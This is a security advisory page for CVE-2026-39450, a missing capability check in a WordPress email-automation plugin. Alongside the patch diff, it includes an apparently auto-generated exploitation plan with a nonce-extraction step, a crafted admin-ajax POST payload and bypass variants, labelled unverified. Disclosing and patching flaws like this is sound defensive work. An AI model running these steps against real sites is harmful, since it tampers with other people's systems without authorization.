CVE-2026-39450

FunnelKit Automations – Email Marketing Automation and CRM for WordPress & WooCommerce <= 3.7.3 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.8.0
Patched in
9d
Time to patch

Description

The FunnelKit Automations – Email Marketing Automation and CRM for WordPress & WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.7.3
PublishedApril 22, 2026
Last updatedApril 30, 2026

What Changed in the Fix

Changes introduced in v3.8.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39450 - FunnelKit Automations Missing Authorization ## 1. Vulnerability Summary The **FunnelKit Automations** (formerly Autonami) plugin for WordPress is vulnerable to **Missing Authorization** in the `bwf_migrate_automation` AJAX action. Located in `admin/c…

Show full research plan

Exploitation Research Plan: CVE-2026-39450 - FunnelKit Automations Missing Authorization

1. Vulnerability Summary

The FunnelKit Automations (formerly Autonami) plugin for WordPress is vulnerable to Missing Authorization in the bwf_migrate_automation AJAX action.

Located in admin/class-bwfan-admin.php, the function bwfan_migrate_automation is registered via the wp_ajax_ hook, making it accessible to any authenticated user. While the function performs a nonce check via BWFAN_Common::check_nonce(), it fails to implement any capability checks (e.g., current_user_can( 'manage_options' )). This allows a Subscriber-level attacker to modify automation metadata by setting the v1_migrate flag to true for any automation ID.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: bwf_migrate_automation
  • HTTP Method: POST
  • Authentication: Authenticated (Subscriber and above)
  • Parameters:
    • action: bwf_migrate_automation (Required)
    • automation_id: The ID of the automation to modify (Required)
    • _wpnonce: The secret nonce value (Required)
  • Vulnerability: Lack of current_user_can() check before executing BWFAN_Model_Automationmeta::insert_automation_meta_data.

3. Code Flow

  1. Entry Point: The wp_ajax_bwf_migrate_automation hook triggers BWFAN_Admin::bwfan_migrate_automation().
  2. Nonce Check: BWFAN_Common::check_nonce() is called. In this plugin, this typically validates the _wpnonce POST parameter against the bwfan_unique_secret option.
  3. Data Processing:
    • The code retrieves automation_id from $_POST.
    • It calls BWFAN_Model_Automationmeta::insert_automation_meta_data( $id, ['v1_migrate' => true] ).
  4. Sink: The insert_automation_meta_data method performs a database INSERT or UPDATE into the wp_bwfan_automationmeta table (or equivalent custom table).

4. Nonce Acquisition Strategy

The plugin localizes a "nonce" value (which is actually a static unique secret) for its React-based admin interface.

  1. Leaked Via: The BWFCRM_Base_React_Page class (parent of dashboard/automation pages) prepares $this->page_data['bwfan_nonce'] using get_option( 'bwfan_unique_secret', '' ).
  2. Accessing the Nonce:
    • The plugin enqueues assets on various admin pages. Because the plugin hooks into personal_options (admin/class-bwfan-admin.php), its assets or localized data may be present on the Subscriber's profile page (/wp-admin/profile.php).
    • Step-by-Step:
      1. Login as a Subscriber.
      2. Navigate to /wp-admin/profile.php.
      3. Use browser_eval to extract the secret:
        // Common FunnelKit localization keys
        window.bwfan_react_data?.bwfan_nonce || window.bwf_react_data?.bwfan_nonce
        
    • If not present on the profile page, check the main dashboard if accessible, or create a page with a FunnelKit shortcode if the plugin enqueues the secret on the frontend.

5. Exploitation Strategy

  1. Preparation:
    • Create a dummy automation in the database to have a valid automation_id.
  2. Execution:
    • Use the http_request tool to send the POST request from the Subscriber session.
  3. Payload:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=bwf_migrate_automation&automation_id=[TARGET_ID]&_wpnonce=[EXTRACTED_NONCE]
    
  4. Verification:
    • Check the response JSON for {"msg":"Automation migrated","status":true}.
    • Verify the database change using WP-CLI.

6. Test Data Setup

  1. Create Subscriber:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  2. Create Automation:
    Since FunnelKit uses custom tables, use wp eval to insert a record:
    // Create a dummy automation record
    global $wpdb;
    $wpdb->insert($wpdb->prefix . 'bwfan_automations', [
        'title' => 'Test Automation',
        'status' => 'active'
    ]);
    echo "Automation ID: " . $wpdb->insert_id;
    
    (Note: Verify the exact table prefix bwfan_ in the environment).

7. Expected Results

  • The AJAX request should return a 200 OK status with a JSON body:
    {
      "msg": "Automation migrated",
      "status": true
    }
    
  • The database table wp_bwfan_automationmeta should now contain a row for the specified automation_id with meta_key = 'v1_migrate' and meta_value = '1' (serialized as b:1; or simply 1).

8. Verification Steps

  1. Check Database via WP-CLI:
    wp db query "SELECT * FROM wp_bwfan_automationmeta WHERE meta_key = 'v1_migrate' AND automation_id = [TARGET_ID];"
    
  2. Confirm Absence of Metadata Before Attack:
    Run the query before the exploit to ensure it returns empty.

9. Alternative Approaches

  • Missing Nonce Check: If BWFAN_Common::check_nonce() is misconfigured or fails if the parameter is missing, try the request without _wpnonce.
  • Parameter Variation: The plugin might expect the nonce in the nonce parameter instead of _wpnonce.
  • Metadata Overwrite: Try passing other meta keys in the array if the insert_automation_meta_data function is found to be more flexible than the bwfan_migrate_automation wrapper suggests (though the provided source explicitly hardcodes v1_migrate).
Research Findings
Static analysis — not yet PoC-verified

Summary

The FunnelKit Automations plugin for WordPress is vulnerable to unauthorized data modification due to a missing capability check on the bwf_migrate_automation AJAX function. This allows authenticated attackers with Subscriber-level access or higher to modify metadata for any automation record by setting a 'v1_migrate' flag.

Vulnerable Code

// admin/class-bwfan-admin.php line 119
	function bwfan_migrate_automation() {
		BWFAN_Common::check_nonce();

		// phpcs:disable WordPress.Security.NonceVerification
		if ( empty( $_POST['automation_id'] ) ) {
			$resp = array(
				'msg'    => 'Automation ID is missing',
				'status' => false,
			);
			wp_send_json( $resp );
		}

		$id     = sanitize_text_field( $_POST['automation_id'] );
		$result = BWFAN_Model_Automationmeta::insert_automation_meta_data( $id, [
			'v1_migrate' => true,
		] );

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-marketing-automations/3.7.3/admin/class-bwfan-admin.php	2026-01-22 15:18:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-marketing-automations/3.8.0/admin/class-bwfan-admin.php	2026-04-09 11:08:52.000000000 +0000
@@ -119,6 +119,13 @@
 	function bwfan_migrate_automation() {
 		BWFAN_Common::check_nonce();
 
+		if ( ! current_user_can( BWFAN_admin::menu_cap() ) ) {
+			wp_send_json( array(
+				'status' => false,
+				'msg'    => __( 'You are not authorized to perform this action', 'wp-marketing-automations' ),
+			) );
+		}
+
 		// phpcs:disable WordPress.Security.NonceVerification
 		if ( empty( $_POST['automation_id'] ) ) {
 			$resp = array(

Exploit Outline

1. Authenticate to the WordPress site as a user with at least Subscriber privileges. 2. Extract the plugin's security nonce (unique secret) by inspecting localized JavaScript variables on an accessible admin page (e.g., /wp-admin/profile.php), looking for 'bwfan_nonce' inside 'window.bwfan_react_data' or 'window.bwf_react_data'. 3. Craft a POST request to '/wp-admin/admin-ajax.php' with the following parameters: 'action=bwf_migrate_automation', 'automation_id=[Target Automation ID]', and '_wpnonce=[Extracted Nonce]'. 4. Execute the request. The plugin will update the 'wp_bwfan_automationmeta' table for the specified ID, setting 'v1_migrate' to true without performing a permission check.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.